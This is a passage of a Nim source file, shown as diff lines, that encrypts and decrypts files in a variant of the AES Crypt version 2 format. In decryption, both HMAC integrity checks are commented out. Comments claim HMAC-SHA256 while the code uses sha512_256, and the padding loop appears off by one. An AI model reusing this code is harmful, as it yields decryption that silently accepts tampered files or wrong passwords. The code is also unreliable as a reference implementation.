intKey = urandom(32) + + # instantiate AES cipher + var encryptor0: CBC[aes256] + encryptor0.init(intKey, iv0) + + # instantiate HMAC-SHA256 for the ciphertext + var hmac0: HMAC[sha512_256] + hmac0.init(intKey) + + # instantiate another AES cipher + var encryptor1: CBC[aes256] + encryptor1.init(key, iv1) + + # encrypt main iv and key + var plainText = newString(len(iv0)+len(intKey)) + var c_iv_key = newString(len(iv0)+len(intKey)) + copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0)) + copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey)) + encryptor1.encrypt(plainText, c_iv_key) + + # calculate HMAC-SHA256 of the encrypted iv and key + var hmac1: HMAC[sha512_256] + hmac1.init(key) + hmac1.update(c_iv_key) + + # write header + fOut.write("AES") + + # write version (AES Crypt version 2 file format - + # see https://www.aescrypt.com/aes_file_format.html) + fOut.write([byte 2]) + + # reserved byte (set to zero) + fOut.write([byte 0]) + + # setup "CREATED-BY" extension + var cby = "Confidential " + + # write "CREATED-BY" extension length + fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))]) + + # write "CREATED-BY" extension + fOut.write("CREATED_BY") + fOut.write([byte 0]) + fOut.write(cby) + + # write "container" extension length + fOut.write([byte 0, 128]) + + # write "container" extension + for i in 1 .. 128: + fOut.write([byte 0]) + + # write end-of-extensions tag + fOut.write([byte 0, 0]) + + # write the iv used to encrypt the main iv and the + # encryption key + fOut.write(iv1) + + # write encrypted main iv and key + fOut.write(c_iv_key) + + # write HMAC-SHA256 of the encrypted iv and key + fOut.write(hmac1.finish()) + + var fs16 = 0 + # encrypt file while reading it + var fdata = newString(bufferSize) + var cText = newString(bufferSize) + while true: + # try to read bufferSize bytes + let bytesRead = fIn.readData(addr fdata[0], bufferSize) + + # check if EOF was reached + if bytesRead < bufferSize: + # file size mod 16, lsb positions + fs16 = bytesRead mod AESBlockSize + # pad data (this is NOT PKCS#7!) + # ...unless no bytes or a multiple of a block size + # of bytes was read + var padLen: int + if bytesRead mod AESBlockSize == 0: + padLen = 0 + else: + padLen = 16 - bytesRead mod AESBlockSize + + # todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block +# fdata += bytes([padLen])*padLen + for i in bytesRead..bytesRead+padLen: + fdata[i]=cast[char](padLen) + + # encrypt data + encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText) + + # update HMAC + hmac0.update(cText[0..bytesRead+padLen-1]) + # write encrypted file content + fOut.write(cText[0..bytesRead+padLen-1]) + break + # ...otherwise a full bufferSize was read + else: + # encrypt data + encryptor0.encrypt(fdata, cText) + # update HMAC + hmac0.update(cText) + # write encrypted file content + fOut.write(cText) + + # write plaintext file size mod 16 lsb positions + fOut.write(cast[uint8](fs16)) + + # write HMAC-SHA256 of the encrypted file + fOut.write(hmac0.finish()) + + +# encrypt file function +# arguments: +# infile: plaintext file path +# outfile: ciphertext file path +# passw: encryption password +# bufferSize: optional buffer size, must be a multiple of +# AES block size (16) +# using a larger buffer speeds up things when dealing +# with big files +# Default is 64KB. +proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) = + try: + let fIn = newFileStream(infile, mode = fmRead) + defer: fIn.close() + + let fOut = newFileStream(outfile, mode = fmWrite) + defer: fOut.close() + + encryptStream(fIn, fOut, passw, bufferSize) + + except CatchableError: + let + e = getCurrentException() + msg = getCurrentExceptionMsg() + echo "Inside checkIn, got exception ", repr(e), " with message ", msg + + +# decrypt stream function +# arguments: +# fIn: input binary stream +# fOut: output binary stream +# passw: encryption password +# bufferSize: decryption buffer size, must be a multiple of AES block size (16) +# using a larger buffer speeds up things when dealing with +# long streams +# inputLength: input stream length +proc decryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int, inputLength: int64) = + # validate bufferSize + if bufferSize mod AESBlockSize != 0: + raise newException(OSError, "Buffer size must be a multiple of AES block size") + + if len(passw) > maxPassLen: + raise newException(OSError, "Password is too long.") + + var aesBuff: array[4, char] + var nbBytesRead = fIn.readData(addr(aesBuff), 3) + + # check if file is in AES Crypt format (also min length check) + if (aesBuff[0..2] != "AES" or inputLength < 136): + raise newException(OSError, "File is corrupted or not an AES Crypt file.") + + # check if file is in AES Crypt format, version 2 + # (the only one compatible with this tool) + var buffer: array[1024, byte] + nbBytesRead = fIn.readData(addr(buffer), 1) + if nbBytesRead != 1: + raise newException(OSError, "File is corrupted.") + + if buffer[0] != cast[uint8](2): + raise newException(OSError, "This tool is only compatible with version 2 of the AES Crypt file format.") + + # skip reserved byte + nbBytesRead = fIn.readData(addr(buffer), 1) + + # skip all the extensions + while true: + nbBytesRead = fIn.readData(addr(buffer), 2) + if nbBytesRead != 2: + raise newException(OSError, "File is corrupted.") + if buffer[0..1] == [byte 0,0]: + break + var nbBytesToRead = cast[int16](buffer[1]) + nbBytesRead = fIn.readData(addr(buffer), nbBytesToRead) + + # read external iv + var iv1: array[16, byte] + nbBytesRead = fIn.readData(addr(iv1), 16) + if nbBytesRead != 16: + raise newException(OSError, "File is corrupted.") + + # stretch password and iv + let key = stretch(passw, iv1) + + # read encrypted main iv and key + var c_iv_key: array[48, byte] + nbBytesRead = fIn.readData(addr(c_iv_key), 48) + if nbBytesRead != 48: + raise newException(OSError, "File is corrupted.") + + # read HMAC-SHA256 of the encrypted iv and key + var hmac1: array[32, byte] + nbBytesRead = fIn.readData(addr(hmac1), 32) + if nbBytesRead != 32: + raise newException(OSError, "File is corrupted.") + + # compute actual HMAC-SHA256 (read: 512_256) of the encrypted iv and key + var hmac1Act: HMAC[sha512_256] + hmac1Act.init(key) + hmac1Act.update(c_iv_key) + + # # HMAC check. removed because HMAC now uses sha512 instead of stock sha256 + # if hmac1 != hmac1Act.finish().data: + # echo ("Wrong password (or file is corrupted).") + + # instantiate AES cipher + var decryptor1: CBC[aes256] + decryptor1.init(key, iv1) + + # decrypt main iv and key + var iv_key: array[48, byte] + decryptor1.decrypt(addr c_iv_key[0], addr iv_key[0], 48) + + # get internal iv and key + var iv0: array[16, byte] + for i in 0..15: + iv0[i]=iv_key[i] + + var intKey: array[32, byte] + for i in 0..31: + intKey[i]=iv_key[16+i] + + # instantiate another AES cipher + var decryptor0: CBC[aes256] + decryptor0.init(intKey, iv0) + + # instantiate actual HMAC-SHA256 of the ciphertext + var hmac0Act: HMAC[sha512_256] + hmac0Act.init(intKey) + + # decrypt ciphertext, until last block is reached + var cText = newString(bufferSize) + var decryptedBytes = newString(bufferSize) + while fIn.getPosition() < inputLength - 32 - 1 - AESBlockSize: + # read data + nbBytesRead = fIn.readData(addr(cText[0]), cast[int](min(bufferSize, inputLength - fIn.getPosition() - 32 - 1 - AESBlockSize))) + # update HMAC + hmac0Act.update(cast[ptr byte](addr cText[0]), cast[uint](nbBytesRead)) + # decrypt data and write it to output file + decryptor0.decrypt(cast[ptr byte](addr cText[0]), cast[ptr byte](addr decryptedBytes[0]), cast[uint](nbBytesRead)) + fOut.writeData(addr (decryptedBytes[0]), nbBytesRead) + + # last block reached, remove padding if needed + + # read last block + + # this is for empty files + var finalBlockSize=0 + var finalCText = newString(AESBlockSize) + if fIn.getPosition() != inputLength - 32 - 1: + finalBlockSize = fIn.readData(addr(finalCText[0]), AESBlockSize) + if finalBlockSize < AESBlockSize: + raise newException(OSError, "File is corrupted.") + + # update HMAC + hmac0Act.update(finalCText) + + # decrypt last block + var pText = newString(AESBlockSize) + decryptor0.decrypt(finalCText, pText) + + # read plaintext file size mod 16 lsb positions + nbBytesRead = fIn.readData(addr(buffer), 1) + var fs16 = cast[int16](buffer[0]) + if nbBytesRead != 1: + raise newException(OSError, "File is corrupted.") + + # remove padding + var toremove = ((16 - fs16) mod 16) + + # write decrypted data to output file + fOut.writeData(addr pText[0], finalBlockSize-toremove) + + # read HMAC-SHA256 of the encrypted file + var hmac0: array[32, byte] + nbBytesRead = fIn.readData(addr(hmac0), 32) + if nbBytesRead != 32: + raise newException(OSError, "File is corrupted.") + + # # HMAC check. removed because HMAC now uses sha512 instead of stock sha256 + # if hmac0 != hmac0Act.finish().data: + # raise newException(OSError, "Bad HMAC (file is corrupted).") + + +# decrypt file function +# arguments: +# infile: ciphertext file path +# outfile: plaintext file path +# passw: encryption password +# bufferSize: optional buffer size, must be a multiple of AES block size (16) +# using a larger buffer speeds up things when dealing with +# big files +# Default is 64KB. +proc decryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) = + try: + let fIn = newFileStream(infile, mode = fmRead) + defer: fIn.close() + + let fOut = newFileStream(outfile, mode = fmWrite) + defer: fOut.close() + + let fInSize = open(infile, mode = fmRead) + var fileSize = getFileSize(fInSize) + fInSize.close() + + decryptStream(fIn, fOut, passw, bufferSize, fileSize) + + except CatchableError: + let + e = getCurrentException() + msg = getCurrentExceptionMsg() + echo "Inside checkIn, got exception ", repr(e), " with message ", msg + +#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024) +#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024) \ No newline at end of file